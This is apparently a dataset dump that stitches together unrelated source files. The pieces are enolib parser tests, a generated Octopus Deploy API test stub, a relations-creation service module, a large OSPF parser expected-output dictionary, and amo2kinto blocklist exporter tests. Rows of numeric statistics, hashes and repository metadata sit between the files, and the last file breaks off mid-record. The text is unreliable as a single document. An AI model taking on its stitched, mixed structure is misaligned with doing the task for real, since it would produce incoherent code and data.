== 0 assert error.selection['to']['line'] == 5 assert error.selection['to']['column'] == 6 def test_parsing_a_list_item_preceded_by_an_empty_multiline_field_raises_the_expected_parseerror(): error = None input = ("-- multiline_field\n" "-- multiline_field\n" "\n" "copy < multiline_field\n" "- item") try: enolib.parse(input) except enolib.ParseError as _error: if isinstance(_error, enolib.ParseError): error = _error else: raise _error assert type(error) is enolib.ParseError text = ("Line 5 contains a list item without a list being specified before.") assert error.text == text snippet = (" Line | Content\n" " ...\n" " 3 | \n" " 4 | copy < multiline_field\n" " > 5 | - item") assert error.snippet == snippet assert error.selection['from']['line'] == 4 assert error.selection['from']['column'] == 0 assert error.selection['to']['line'] == 4 assert error.selection['to']['column'] == 6
28.8125
99
0.545915
759
6,915
4.806324
0.081686
0.126645
0.153509
0.092105
0.938596
0.936952
0.930647
0.919408
0.892818
0.892818
0
0.01176
0.335936
6,915
240
100
28.8125
0.782666
0
0
0.79096
0
0
0.220648
0
0
0
0
0
0.276836
1
0.039548
false
0
0.00565
0
0.045198
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
6852bac9137c12d073675966b30eb05c859b3988
6,461
py
Python
test/test_machine_policies_api.py
cvent/octopus-deploy-api-client
0e03e842e1beb29b132776aee077df570b88366a
[ "Apache-2.0" ]
null
null
null
test/test_machine_policies_api.py
cvent/octopus-deploy-api-client
0e03e842e1beb29b132776aee077df570b88366a
[ "Apache-2.0" ]
null
null
null
test/test_machine_policies_api.py
cvent/octopus-deploy-api-client
0e03e842e1beb29b132776aee077df570b88366a
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ Octopus Server API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: 2019.6.7+Branch.tags-2019.6.7.Sha.aa18dc6809953218c66f57eff7d26481d9b23d6a Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import octopus_deploy_swagger_client from octopus_deploy_client.machine_policies_api import MachinePoliciesApi # noqa: E501 from octopus_deploy_swagger_client.rest import ApiException class TestMachinePoliciesApi(unittest.TestCase): """MachinePoliciesApi unit test stubs""" def setUp(self): self.api = octopus_deploy_client.machine_policies_api.MachinePoliciesApi() # noqa: E501 def tearDown(self): pass def test_child_index_response_descriptor_policies_machine_policy_machines_deployment_targets_deployment_target_machine_policy_resource_deployment_target_resource(self): """Test case for child_index_response_descriptor_policies_machine_policy_machines_deployment_targets_deployment_target_machine_policy_resource_deployment_target_resource Get a list of DeploymentTargetResources # noqa: E501 """ pass def test_child_index_response_descriptor_policies_machine_policy_machines_deployment_targets_deployment_target_machine_policy_resource_deployment_target_resource_spaces(self): """Test case for child_index_response_descriptor_policies_machine_policy_machines_deployment_targets_deployment_target_machine_policy_resource_deployment_target_resource_spaces Get a list of DeploymentTargetResources # noqa: E501 """ pass def test_child_index_response_descriptor_policies_machine_policy_machines_workers_worker_machine_policy_resource_worker_resource(self): """Test case for child_index_response_descriptor_policies_machine_policy_machines_workers_worker_machine_policy_resource_worker_resource Get a list of WorkerResources # noqa: E501 """ pass def test_child_index_response_descriptor_policies_machine_policy_machines_workers_worker_machine_policy_resource_worker_resource_spaces(self): """Test case for child_index_response_descriptor_policies_machine_policy_machines_workers_worker_machine_policy_resource_worker_resource_spaces Get a list of WorkerResources # noqa: E501 """ pass def test_create_response_descriptor_policies_machine_policy_machine_policy_resource(self): """Test case for create_response_descriptor_policies_machine_policy_machine_policy_resource Create a MachinePolicyResource # noqa: E501 """ pass def test_create_response_descriptor_policies_machine_policy_machine_policy_resource_spaces(self): """Test case for create_response_descriptor_policies_machine_policy_machine_policy_resource_spaces Create a MachinePolicyResource # noqa: E501 """ pass def test_custom_action_response_descriptor_octopus_server_web_api_actions_machine_policy_delete_action(self): """Test case for custom_action_response_descriptor_octopus_server_web_api_actions_machine_policy_delete_action """ pass def test_custom_action_response_descriptor_octopus_server_web_api_actions_machine_policy_delete_action_spaces(self): """Test case for custom_action_response_descriptor_octopus_server_web_api_actions_machine_policy_delete_action_spaces """ pass def test_custom_action_response_descriptor_octopus_server_web_api_actions_machine_policy_template_action(self): """Test case for custom_action_response_descriptor_octopus_server_web_api_actions_machine_policy_template_action """ pass def test_custom_action_response_descriptor_octopus_server_web_api_actions_machine_policy_template_action_spaces(self): """Test case for custom_action_response_descriptor_octopus_server_web_api_actions_machine_policy_template_action_spaces """ pass def test_index_response_descriptor_policies_machine_policy_machine_policy_resource(self): """Test case for index_response_descriptor_policies_machine_policy_machine_policy_resource Get a list of MachinePolicyResources # noqa: E501 """ pass def test_index_response_descriptor_policies_machine_policy_machine_policy_resource_spaces(self): """Test case for index_response_descriptor_policies_machine_policy_machine_policy_resource_spaces Get a list of MachinePolicyResources # noqa: E501 """ pass def test_list_all_response_descriptor_policies_machine_policy_machine_policy_resource(self): """Test case for list_all_response_descriptor_policies_machine_policy_machine_policy_resource Get a list of MachinePolicyResources # noqa: E501 """ pass def test_list_all_response_descriptor_policies_machine_policy_machine_policy_resource_spaces(self): """Test case for list_all_response_descriptor_policies_machine_policy_machine_policy_resource_spaces Get a list of MachinePolicyResources # noqa: E501 """ pass def test_load_response_descriptor_policies_machine_policy_machine_policy_resource(self): """Test case for load_response_descriptor_policies_machine_policy_machine_policy_resource Get a MachinePolicyResource by ID # noqa: E501 """ pass def test_load_response_descriptor_policies_machine_policy_machine_policy_resource_spaces(self): """Test case for load_response_descriptor_policies_machine_policy_machine_policy_resource_spaces Get a MachinePolicyResource by ID # noqa: E501 """ pass def test_modify_response_descriptor_policies_machine_policy_machine_policy_resource(self): """Test case for modify_response_descriptor_policies_machine_policy_machine_policy_resource Modify a MachinePolicyResource by ID # noqa: E501 """ pass def test_modify_response_descriptor_policies_machine_policy_machine_policy_resource_spaces(self): """Test case for modify_response_descriptor_policies_machine_policy_machine_policy_resource_spaces Modify a MachinePolicyResource by ID # noqa: E501 """ pass if __name__ == '__main__': unittest.main()
41.152866
184
0.795542
765
6,461
6.134641
0.11634
0.177285
0.155125
0.196889
0.894098
0.894098
0.878329
0.862135
0.837844
0.837844
0
0.016645
0.163133
6,461
156
185
41.416667
0.851304
0.480111
0
0.395833
1
0
0.00267
0
0
0
0
0
0
1
0.416667
false
0.395833
0.104167
0
0.541667
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
10
686fafc830d6efa613e967d179b7e143b0dfdcb0
90
py
Python
python/ovs/compat/sortedcontainers/PaxHeaders.2308045/sortedlist.py
cuijianming/ovs-2.13.6
e7fdf06d6c26d280b25bdf235146ae007cd2208c
[ "Apache-2.0" ]
null
null
null
python/ovs/compat/sortedcontainers/PaxHeaders.2308045/sortedlist.py
cuijianming/ovs-2.13.6
e7fdf06d6c26d280b25bdf235146ae007cd2208c
[ "Apache-2.0" ]
null
null
null
python/ovs/compat/sortedcontainers/PaxHeaders.2308045/sortedlist.py
cuijianming/ovs-2.13.6
e7fdf06d6c26d280b25bdf235146ae007cd2208c
[ "Apache-2.0" ]
null
null
null
30 mtime=1639777086.615355983 30 atime=1639777086.615355983 30 ctime=1639777127.022355983
22.5
29
0.866667
12
90
6.5
0.666667
0.487179
0.538462
0
0
0
0
0
0
0
0
0.75
0.066667
90
3
30
30
0.178571
0
0
0
0
0
0
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
7
687c0c60d088e4a2fd87262292d793488dfc980f
5,422
py
Python
relations/services/create.py
bonotake/arxiv-external-links
728c094ea1b2e754ee94acdd7f36a6afd28e0d1c
[ "MIT" ]
6
2019-07-22T14:39:29.000Z
2021-11-05T12:24:36.000Z
relations/services/create.py
bonotake/arxiv-external-links
728c094ea1b2e754ee94acdd7f36a6afd28e0d1c
[ "MIT" ]
24
2019-06-11T01:16:38.000Z
2021-06-02T00:18:51.000Z
relations/services/create.py
bonotake/arxiv-external-links
728c094ea1b2e754ee94acdd7f36a6afd28e0d1c
[ "MIT" ]
5
2019-06-24T21:00:37.000Z
2021-11-05T12:24:29.000Z
"""Service for new relation creation.""" from datetime import datetime from typing import Optional from pytz import UTC from relations.domain import ArXivID, EPrint, Relation, RelationID, \ RelationType, Resource from .get import from_id from .model import db, RelationDB from .util import relation_from_DB class StorageError(Exception): """Error that happens in strage of data.""" def create(arxiv_id: ArXivID, arxiv_ver: int, resource_type: str, resource_id: str, description: str, creator: Optional[str]) -> Relation: """ Create a new relation for an e-print. Parameters ---------- arxiv_id: ArXivID The arXiv ID of the e-print. arxiv_ver: int The version of the e-print. resource_type: str The type of the corresponding resource. resource_id: str An identifier of the resource e.g., DOI. description: str A description for the relation. creator: Optional[str] Info of the user/app who requested this relation creation. Returns ------- Relation The newly-created relation. """ # store it to DB rel_data = RelationDB(rel_type=RelationType.ADD, arxiv_id=str(arxiv_id), arxiv_ver=arxiv_ver, resource_type=resource_type, resource_id=resource_id, description=description, added_at=datetime.now(UTC), creator=creator, supercedes_or_suppresses=None) try: db.session.add(rel_data) db.session.commit() except Exception as e: db.session.rollback() raise StorageError from e # return the result return relation_from_DB(rel_data) def supercede(arxiv_id: ArXivID, arxiv_ver: int, relation_id: RelationID, resource_type: str, resource_id: str, description: str, creator: Optional[str]) -> Relation: """ Create a new relation for an e-print. Parameters ---------- arxiv_id: ArXivID The arXiv ID of the e-print. arxiv_ver: int The version of the e-print. relation_id: RelationID THe relation ID to be superceded. resource_type: str The type of the corresponding resource. resource_id: str An identifier of the resource e.g., DOI. description: str A description for the relation. creator: Optional[str] Info of the user/app who requested this relation creation. Returns ------- Relation The newly-created relation. """ # store it to DB rel_data = RelationDB(rel_type=RelationType.EDIT, arxiv_id=str(arxiv_id), arxiv_ver=arxiv_ver, resource_type=resource_type, resource_id=resource_id, description=description, added_at=datetime.now(UTC), creator=creator, supercedes_or_suppresses=relation_id) try: # check the previous relation prev_rel = from_id(relation_id) if prev_rel.relation_type == RelationType.SUPPRESS: raise StorageError('Cannot suppress a SUPPRESS relation') # register db.session.add(rel_data) db.session.commit() except Exception as e: db.session.rollback() raise StorageError from e # return the result return relation_from_DB(rel_data) def suppress(arxiv_id: ArXivID, arxiv_ver: int, relation_id: RelationID, description: str, creator: Optional[str]) -> Relation: """ Create a new relation for an e-print. Parameters ---------- arxiv_id: ArXivID The arXiv ID of the e-print. arxiv_ver: int The version of the e-print. relation_id: RelationID THe relation ID to be suppressed. description: str A description for the relation. creator: Optional[str] Info of the user/app who requested this relation creation. Returns ------- Relation The newly-created relation. """ try: # check the previous relation prev_rel = from_id(relation_id) if prev_rel.relation_type == RelationType.SUPPRESS: raise StorageError('Cannot suppress a SUPPRESS relation') # store it to DB rel_data = RelationDB(rel_type=RelationType.SUPPRESS, arxiv_id=str(arxiv_id), arxiv_ver=arxiv_ver, resource_type=prev_rel.resource.resource_type, resource_id=prev_rel.resource.identifier, description=description, added_at=datetime.now(UTC), creator=creator, supercedes_or_suppresses=str(relation_id)) # register db.session.add(rel_data) db.session.commit() except Exception as e: db.session.rollback() raise StorageError from e # return the result return relation_from_DB(rel_data)
29.628415
76
0.575249
601
5,422
5.03827
0.161398
0.034676
0.027741
0.021797
0.849736
0.849736
0.84148
0.84148
0.84148
0.811757
0
0
0.35356
5,422
182
77
29.791209
0.863909
0.311324
0
0.753086
0
0
0.02029
0
0
0
0
0
0
1
0.037037
false
0
0.08642
0
0.17284
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
688fc9df9bfa2f41e0c0b676502fe711273f0503
44,820
py
Python
src/genie/libs/parser/nxos/tests/ShowIpOspfDatabaseRouterDetail/cli/equal/golden_output_1_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
204
2018-06-27T00:55:27.000Z
2022-03-06T21:12:18.000Z
src/genie/libs/parser/nxos/tests/ShowIpOspfDatabaseRouterDetail/cli/equal/golden_output_1_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
468
2018-06-19T00:33:18.000Z
2022-03-31T23:23:35.000Z
src/genie/libs/parser/nxos/tests/ShowIpOspfDatabaseRouterDetail/cli/equal/golden_output_1_expected.py
balmasea/genieparser
d1e71a96dfb081e0a8591707b9d4872decd5d9d3
[ "Apache-2.0" ]
309
2019-01-16T20:21:07.000Z
2022-03-30T12:56:41.000Z
expected_output = { 'vrf': {'VRF1': {'address_family': {'ipv4': {'instance': {'1': {'areas': {'0.0.0.1': {'database': {'lsa_types': {1: {'lsa_type': 1, 'lsas': {'10.229.11.11 10.229.11.11': {'adv_router': '10.229.11.11', 'lsa_id': '10.229.11.11', 'ospfv2': {'body': {'router': {'links': {'10.186.5.1': {'link_data': '10.186.5.1', 'link_id': '10.186.5.1', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.151.22.22': {'link_data': '0.0.0.14', 'link_id': '10.151.22.22', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 111, 'mt_id': 0, 'tos': 0}}, 'type': 'router (point-to-point)'}}, 'num_of_links': 2}}, 'header': {'adv_router': '10.229.11.11', 'age': 646, 'checksum': '0x9ae4', 'length': 48, 'lsa_id': '10.229.11.11', 'option': '0x22', 'option_desc': 'No TOS-capability, DC', 'seq_num': '0x8000003f', 'type': 1}}}, '10.151.22.22 10.151.22.22': {'adv_router': '10.151.22.22', 'lsa_id': '10.151.22.22', 'ospfv2': {'body': {'router': {'links': {'10.229.11.11': {'link_data': '0.0.0.6', 'link_id': '10.229.11.11', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'router (point-to-point)'}, '10.229.6.6': {'link_data': '10.229.6.2', 'link_id': '10.229.6.6', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 40, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}}, 'num_of_links': 2}}, 'header': {'adv_router': '10.151.22.22', 'age': 642, 'checksum': '0xc21b', 'length': 48, 'lsa_id': '10.151.22.22', 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x8000001a', 'type': 1}}}, '10.36.3.3 10.36.3.3': {'adv_router': '10.36.3.3', 'lsa_id': '10.36.3.3', 'ospfv2': {'body': {'router': {'links': {'10.19.7.7': {'link_data': '10.19.7.3', 'link_id': '10.19.7.7', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}}, 'num_of_links': 1}}, 'header': {'adv_router': '10.36.3.3', 'age': 1148, 'checksum': '0x5646', 'length': 36, 'lsa_id': '10.36.3.3', 'option': '0x22', 'option_desc': 'No TOS-capability, DC', 'seq_num': '0x80000036', 'type': 1}}}, '10.115.55.55 10.115.55.55': {'adv_router': '10.115.55.55', 'lsa_id': '10.115.55.55', 'ospfv2': {'body': {'router': {'links': {'10.186.5.1': {'link_data': '10.186.5.5', 'link_id': '10.186.5.1', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.115.6.6': {'link_data': '10.115.6.5', 'link_id': '10.115.6.6', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 30, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.115.55.55': {'link_data': '255.255.255.255', 'link_id': '10.115.55.55', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'stub network'}}, 'num_of_links': 3}}, 'header': {'adv_router': '10.115.55.55', 'age': 304, 'checksum': '0xe5bd', 'length': 60, 'lsa_id': '10.115.55.55', 'option': '0x22', 'option_desc': 'No TOS-capability, DC', 'seq_num': '0x80000038', 'type': 1}}}, '10.84.66.66 10.84.66.66': {'adv_router': '10.84.66.66', 'lsa_id': '10.84.66.66', 'ospfv2': {'body': {'router': {'links': {'10.229.6.6': {'link_data': '10.229.6.6', 'link_id': '10.229.6.6', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.115.6.6': {'link_data': '10.115.6.6', 'link_id': '10.115.6.6', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 30, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.166.7.6': {'link_data': '10.166.7.6', 'link_id': '10.166.7.6', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 30, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.84.66.66': {'link_data': '255.255.255.255', 'link_id': '10.84.66.66', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'stub network'}}, 'num_of_links': 4}}, 'header': {'adv_router': '10.84.66.66', 'age': 524, 'checksum': '0x1083', 'length': 72, 'lsa_id': '10.84.66.66', 'option': '0x22', 'option_desc': 'No TOS-capability, DC', 'seq_num': '0x8000003d', 'type': 1}}}, '10.1.77.77 10.1.77.77': {'adv_router': '10.1.77.77', 'lsa_id': '10.1.77.77', 'ospfv2': {'body': {'router': {'links': {'10.19.7.7': {'link_data': '10.19.7.7', 'link_id': '10.19.7.7', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.166.7.6': {'link_data': '10.166.7.7', 'link_id': '10.166.7.6', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 30, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.1.77.77': {'link_data': '255.255.255.255', 'link_id': '10.1.77.77', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'stub network'}}, 'num_of_links': 3}}, 'header': {'adv_router': '10.1.77.77', 'age': 237, 'checksum': '0x117a', 'length': 60, 'lsa_id': '10.1.77.77', 'option': '0x22', 'option_desc': 'No TOS-capability, DC', 'seq_num': '0x80000031', 'type': 1}}}}}}}}}}}}}}, 'default': {'address_family': {'ipv4': {'instance': {'1': {'areas': {'0.0.0.0': {'database': {'lsa_types': {1: {'lsa_type': 1, 'lsas': {'10.4.1.1 10.4.1.1': {'adv_router': '10.4.1.1', 'lsa_id': '10.4.1.1', 'ospfv2': {'body': {'router': {'links': {'10.4.1.1': {'link_data': '255.255.255.255', 'link_id': '10.4.1.1', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'stub network'}, '10.1.2.1': {'link_data': '10.1.2.1', 'link_id': '10.1.2.1', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.1.4.4': {'link_data': '10.1.4.1', 'link_id': '10.1.4.4', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}}, 'num_of_links': 3}}, 'header': {'adv_router': '10.4.1.1', 'age': 723, 'checksum': '0x6029', 'length': 60, 'lsa_id': '10.4.1.1', 'option': '0x22', 'option_desc': 'No TOS-capability, DC', 'seq_num': '0x8000003e', 'type': 1}}}, '10.100.2.2 10.100.2.2': {'adv_router': '10.100.2.2', 'lsa_id': '10.100.2.2', 'ospfv2': {'body': {'router': {'links': {'10.1.2.1': {'link_data': '10.1.2.2', 'link_id': '10.1.2.1', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.2.3.3': {'link_data': '10.2.3.2', 'link_id': '10.2.3.3', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.2.4.4': {'link_data': '10.2.4.2', 'link_id': '10.2.4.4', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.100.2.2': {'link_data': '255.255.255.255', 'link_id': '10.100.2.2', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'stub network'}}, 'num_of_links': 4}}, 'header': {'adv_router': '10.100.2.2', 'age': 1683, 'checksum': '0x652b', 'length': 72, 'lsa_id': '10.100.2.2', 'option': '0x2', 'option_desc': 'No TOS-capability, No DC', 'seq_num': '0x80000014', 'type': 1}}}, '10.36.3.3 10.36.3.3': {'adv_router': '10.36.3.3', 'lsa_id': '10.36.3.3', 'ospfv2': {'body': {'router': {'links': {'10.2.3.3': {'link_data': '10.2.3.3', 'link_id': '10.2.3.3', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.3.4.4': {'link_data': '10.3.4.3', 'link_id': '10.3.4.4', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit network'}, '10.36.3.3': {'link_data': '255.255.255.255', 'link_id': '10.36.3.3', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'stub network'}}, 'num_of_links': 3}}, 'header': {'adv_router': '10.36.3.3', 'age': 217, 'checksum': '0x73f9', 'length': 60, 'lsa_id': '10.36.3.3', 'option': '0x22', 'option_desc': 'No TOS-capability, DC', 'seq_num': '0x80000034', 'type': 1}}}, '10.64.4.4 10.64.4.4': {'adv_router': '10.64.4.4', 'lsa_id': '10.64.4.4', 'ospfv2': {'body': {'router': {'links': {'10.1.4.4': {'link_data': '10.1.4.4', 'link_id': '10.1.4.4', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit ' 'network'}, '10.2.4.4': {'link_data': '10.2.4.4', 'link_id': '10.2.4.4', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit ' 'network'}, '10.3.4.4': {'link_data': '10.3.4.4', 'link_id': '10.3.4.4', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'transit ' 'network'}, '10.64.4.4': {'link_data': '255.255.255.255', 'link_id': '10.64.4.4', 'num_tos_metrics': 0, 'topologies': {0: {'metric': 1, 'mt_id': 0, 'tos': 0}}, 'type': 'stub ' 'network'}}, 'num_of_links': 4}}, 'header': {'adv_router': '10.64.4.4', 'age': 1433, 'checksum': '0xa37d', 'length': 72, 'lsa_id': '10.64.4.4', 'option': '0x22', 'option_desc': 'No TOS-capability, DC', 'seq_num': '0x80000037', 'type': 1}}}}}}}}}}}}}}}}
89.105368
120
0.112338
1,575
44,820
3.049524
0.069206
0.040808
0.048303
0.084531
0.885488
0.846554
0.74974
0.743285
0.727254
0.627316
0
0.178167
0.822802
44,820
502
121
89.282869
0.426593
0
0
0.794
0
0
0.118858
0
0
0
0.004418
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
1
0
0
0
0
1
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
6897811cf902f7957b8dc4532fbe15aaf007c7e7
40,717
py
Python
amo2kinto/tests/test_exporter.py
rctgamer3/amo2kinto
ea95d04a64d35c1a393ce7fc7c0fc27f151650f3
[ "Apache-2.0" ]
null
null
null
amo2kinto/tests/test_exporter.py
rctgamer3/amo2kinto
ea95d04a64d35c1a393ce7fc7c0fc27f151650f3
[ "Apache-2.0" ]
null
null
null
amo2kinto/tests/test_exporter.py
rctgamer3/amo2kinto
ea95d04a64d35c1a393ce7fc7c0fc27f151650f3
[ "Apache-2.0" ]
null
null
null
import mock import unittest from io import StringIO from lxml import etree from amo2kinto import constants, exporter, compare ADDONS_DATA = { "id": "e3e8f123-588d-0f73-63d8-93bdfc6ae8e2", "last_modified": "1368430987148", "guid": "sqlmoz@facebook.com", "blockID": "i454", "details": { "who": "All Firefox users who have this extension installed.", "created": "2013-05-13T09:43:07Z", "name": "Mozilla Service Pack (malware)", "bug": "https://bugzilla.mozilla.org/show_bug.cgi?id=871610", "why": "This extension is malware posing as Mozilla software. " "It hijacks Facebook accounts and spams other Facebook users." }, "versionRange": [{ "targetApplication": [ {"guid": constants.FIREFOX_APPID, "minVersion": "3.6", "maxVersion": "3.6.*"}, {"guid": "{some-other-application}", "minVersion": "1.2", "maxVersion": "1.4"} ], "minVersion": "0", "maxVersion": "*", "severity": 3 }, { "targetApplication": [ {"guid": "{some-other-application}", "minVersion": "1.2", "maxVersion": "1.4"} ], "minVersion": "0", "maxVersion": "*", "severity": 3 }, { "targetApplication": [], "minVersion": "0", "maxVersion": "*", "severity": 0 }], "prefs": ["test.blocklist"] } def test_addon_record(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) exporter.write_addons_items(xml_tree, [ADDONS_DATA], constants.FIREFOX_APPID) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <emItems> <emItem blockID="i454" id="sqlmoz@facebook.com"> <prefs> <pref>test.blocklist</pref> </prefs> <versionRange minVersion="0" maxVersion="*" severity="3"> <targetApplication id="{ec8030f7-c20a-464f-9b0e-13a3a9e97384}"> <versionRange maxVersion="3.6.*" minVersion="3.6"/> </targetApplication> </versionRange> <versionRange minVersion="0" maxVersion="*"/> </emItem> </emItems> </blocklist> """.decode('utf-8') def test_addon_record_with_no_blockID(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = ADDONS_DATA.copy() del data['blockID'] exporter.write_addons_items(xml_tree, [data], constants.FIREFOX_APPID) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <emItems> <emItem blockID="e3e8f123-588d-0f73-63d8-93bdfc6ae8e2" id="sqlmoz@facebook.com"> <prefs> <pref>test.blocklist</pref> </prefs> <versionRange minVersion="0" maxVersion="*" severity="3"> <targetApplication id="{ec8030f7-c20a-464f-9b0e-13a3a9e97384}"> <versionRange maxVersion="3.6.*" minVersion="3.6"/> </targetApplication> </versionRange> <versionRange minVersion="0" maxVersion="*"/> </emItem> </emItems> </blocklist> """.decode('utf-8') def test_addon_record_with_no_version_range_info(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = ADDONS_DATA.copy() data['versionRange'] = [] exporter.write_addons_items(xml_tree, [data], constants.FIREFOX_APPID) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <emItems> <emItem blockID="i454" id="sqlmoz@facebook.com"> <prefs> <pref>test.blocklist</pref> </prefs> </emItem> </emItems> </blocklist> """.decode('utf-8') def test_addon_record_with_no_targetApplication_info(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = ADDONS_DATA.copy() data['name'] = "Mozilla Service Pack (malware)" data['os'] = "WINNT" data['versionRange'] = [{ "targetApplication": [], "minVersion": "0", "maxVersion": "*", "severity": 0 }] exporter.write_addons_items(xml_tree, [data], constants.FIREFOX_APPID) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <emItems> <emItem blockID="i454" id="sqlmoz@facebook.com" \ name="Mozilla Service Pack (malware)" os="WINNT"> <prefs> <pref>test.blocklist</pref> </prefs> <versionRange minVersion="0" maxVersion="*"/> </emItem> </emItems> </blocklist> """.decode('utf-8') def test_addon_record_with_no_targetApplication_matching(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = ADDONS_DATA.copy() data['versionRange'] = [{ "targetApplication": [ {"guid": "{some-other-application}", "minVersion": "1.2", "maxVersion": "1.4"} ], "minVersion": "0", "maxVersion": "*", "severity": 3 }] exporter.write_addons_items(xml_tree, [data], constants.FIREFOX_APPID) result = etree.tostring( etree.ElementTree(xml_tree), pretty_print=True, xml_declaration=True, encoding='UTF-8').decode('utf-8') assert result == b"""<?xml version='1.0' encoding='UTF-8'?> <blocklist lastupdate="1459262434336" \ xmlns="http://www.mozilla.org/2006/addons-blocklist"> <emItems/> </blocklist> """.decode('utf-8') def test_addon_record_with_no_targetApplication_version_matching(): xml_tree = etree.Element( 'blocklist', xmlns="http://www.mozilla.org/2006/addons-blocklist", lastupdate='1459262434336' ) data = ADDONS_DATA.copy() data['versionRange'] = [{ "targetApplication": [ {"guid": 